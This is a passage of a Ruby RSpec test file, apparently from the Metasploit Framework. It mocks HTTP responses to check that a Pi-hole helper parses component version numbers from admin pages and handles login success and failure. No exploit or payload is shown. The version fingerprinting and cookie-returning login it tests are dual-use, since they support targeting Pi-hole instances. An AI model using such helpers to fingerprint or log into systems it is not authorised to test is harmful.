res.body << "<a href=\"https://github.com/pi-hole/pi-hole/releases/v5.7\" rel=\"noopener\" target=\"_blank\">v5.7</a>\n"
|
||||
res.body << " </li>\n"
|
||||
res.body << "<li>\n"
|
||||
res.body << "<strong>FTL</strong>\n"
|
||||
res.body << "<a href=\"https://github.com/pi-hole/FTL/releases/v5.12.1\" rel=\"noopener\" target=\"_blank\">v5.12.1</a>\n"
|
||||
res.body << " </li>\n"
|
||||
res.body << "<li>\n"
|
||||
res.body << "<strong>Web Interface</strong>\n"
|
||||
res.body << "<a href=\"https://github.com/pi-hole/AdminLTE/releases/v5.9\" rel=\"noopener\" target=\"_blank\">v5.9</a>\n"
|
||||
res.body << " </li>\n"
|
||||
res.body << "</ul>\n"
|
||||
res
|
||||
end
|
||||
|
||||
expect(subject.get_versions).to eq(['5.7', '5.9', '5.12.1'])
|
||||
end
|
||||
|
||||
it 'returns 5.2.2, 5.2.2, 5.3.3 to version 5.2.2, 5.2.2, 5.3.3' do
|
||||
allow(subject).to receive(:send_request_cgi) do
|
||||
res = Rex::Proto::Http::Response.new
|
||||
res.code = valid_code
|
||||
res.body = "<li>\n"
|
||||
res.body << "<strong>Pi-hole</strong>\n"
|
||||
res.body << "<a href=\"https://github.com/pi-hole/pi-hole/releases/v5.2.2\" rel=\"noopener\" target=\"_blank\">v5.2.2</a>\n"
|
||||
res.body << "· <a class=\"lookatme\" href=\"https://github.com/pi-hole/pi-hole/releases/latest\" rel=\"noopener\" target=\"_blank\">Update available!</a> </li>\n"
|
||||
res.body << "<li>\n"
|
||||
res.body << "<strong>Web Interface</strong>\n"
|
||||
res.body << "<a href=\"https://github.com/pi-hole/AdminLTE/releases/v5.2.2\" rel=\"noopener\" target=\"_blank\">v5.2.2</a>\n"
|
||||
res.body << "· <a class=\"lookatme\" href=\"https://github.com/pi-hole/AdminLTE/releases/latest\" rel=\"noopener\" target=\"_blank\">Update available!</a> </li>\n"
|
||||
res.body << "<li>\n"
|
||||
res.body << "<strong>FTL</strong>\n"
|
||||
res.body << "<a href=\"https://github.com/pi-hole/FTL/releases/v5.3.3\" rel=\"noopener\" target=\"_blank\">v5.3.3</a>\n"
|
||||
res.body << "· <a class=\"lookatme\" href=\"https://github.com/pi-hole/FTL/releases/latest\" rel=\"noopener\" target=\"_blank\">Update available!</a> </li>\n"
|
||||
res
|
||||
end
|
||||
|
||||
expect(subject.get_versions).to eq(['5.2.2', '5.2.2', '5.3.3'])
|
||||
end
|
||||
|
||||
it 'returns 4.4, 4.3.3, 4.3.1 to version 4.4, 4.3.3, 4.3.1' do
|
||||
allow(subject).to receive(:send_request_cgi) do
|
||||
res = Rex::Proto::Http::Response.new
|
||||
res.code = valid_code
|
||||
res.body = '<b>Pi-hole Version </b> v4.4 <a class="alert-link lookatme" href="https://github.com/pi-hole/pi-hole/releases" target="_blank">(Update available!)</a> <b>Web Interface Version </b>v4.3.3 <a class="alert-link lookatme" href="https://github.com/pi-hole/AdminLTE/releases" target="_blank">(Update available!)</a> <b>FTL Version </b> v4.3.1 <a class="alert-link lookatme" href="https://github.com/pi-hole/FTL/releases" target="_blank">(Update available!)</a> </div>'
|
||||
res
|
||||
end
|
||||
|
||||
expect(subject.get_versions).to eq(['4.4', '4.3.3', '4.3.1'])
|
||||
end
|
||||
|
||||
it 'returns 4.3.2, 4.3, 4.3.1 to version 4.3.2, 4.3, 4.3.1' do
|
||||
allow(subject).to receive(:send_request_cgi) do
|
||||
res = Rex::Proto::Http::Response.new
|
||||
res.code = valid_code
|
||||
res.body = '<b>Pi-hole Version </b> v4.3.2 <b>Web Interface Version </b>v4.3 <b>FTL Version </b> v4.3.1 </div>'
|
||||
res
|
||||
end
|
||||
|
||||
expect(subject.get_versions).to eq(['4.3.2', '4.3', '4.3.1'])
|
||||
end
|
||||
|
||||
it 'vDev (HEAD) as of 4.3' do
|
||||
allow(subject).to receive(:send_request_cgi) do
|
||||
res = Rex::Proto::Http::Response.new
|
||||
res.code = valid_code
|
||||
res.body = "<ul class=\"list-unstyled\">\n"
|
||||
res.body << "<li><strong>Pi-hole</strong> vDev (HEAD, v4.3-0-g1d43c0a-dirty)</li>\n"
|
||||
res.body << "<li><strong>Web Interface</strong> v5.5</li>\n"
|
||||
res.body << "<li><strong>FTL</strong> v4.3.1</li>\n"
|
||||
res.body << "</ul>\n"
|
||||
res
|
||||
end
|
||||
|
||||
expect(subject.get_versions).to eq(['4.3', '5.5', '4.3.1'])
|
||||
end
|
||||
end
|
||||
|
||||
describe '#pihole_logins' do
|
||||
it 'raises error if page can not be reached' do
|
||||
allow(subject).to receive(:send_request_cgi) do
|
||||
res = Rex::Proto::Http::Response::E404.new
|
||||
res
|
||||
end
|
||||
|
||||
expect(subject.login(valid_password)).to raise_error(RuntimeError)
|
||||
end
|
||||
|
||||
it 'raises error on bad login' do
|
||||
allow(subject).to receive(:send_request_cgi) do
|
||||
res = Rex::Proto::Http::Response.new
|
||||
res.code = valid_code
|
||||
res.body = 'Sign in to start your session'
|
||||
res
|
||||
end
|
||||
|
||||
expect(subject.login(valid_password)).to raise_error(RuntimeError)
|
||||
end
|
||||
|
||||
it 'returns cookie on good login' do
|
||||
allow(subject).to receive(:send_request_cgi) do
|
||||
res = Rex::Proto::Http::Response.new
|
||||
res.code = valid_code
|
||||
res.headers['Set-Cookie'] = "#{valid_cookie};"
|
||||
res
|
||||
end
|
||||
|
||||
expect(subject.login(valid_password)).to include(valid_cookie)
|
||||
end
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue